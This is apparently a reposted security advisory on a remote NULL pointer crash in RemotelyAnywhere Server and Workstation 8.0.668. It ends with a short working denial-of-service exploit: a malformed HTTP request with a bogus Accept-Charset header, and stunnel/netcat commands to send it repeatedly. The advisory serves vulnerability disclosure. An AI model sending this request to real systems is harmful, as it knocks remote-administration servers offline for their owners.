[NT] Remotely Anywhere NULL Pointer

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Remotely Anywhere NULL Pointer
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SUMMARY

<http://www.remotelyanywhere.com> Remotely Anywhere is "a well known
remote administration software". A vulnerability in Remotely Anywhere
allows remote attackers to crash the product by sending it a malformed
HTTP request.

DETAILS

Vulnerable Systems:
* Remotely Anywhere Server and Workstation version 8.0.668

The RemotelyAnywhere.exe process (port 2000) can be easily crashed through
a HTTP request with an invalid Accept-Charset parameter which leads to a
NULL pointer.

The process will be restarted automatically within less than one minute by
the management service so an attacker needs to send the malformed request
at regular intervals for keeping the server down as much as he desires.

Exploit:
Send:
GET / HTTP/1.1
Accept-Charset: boom

Using the following command line:
stunnel http_to_https.conf
nc 127.0.0.1 80 -v -v < remotelynowhere.txt


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/remotelynowhere-adv.txt>
http://aluigi.altervista.org/adv/remotelynowhere-adv.txt



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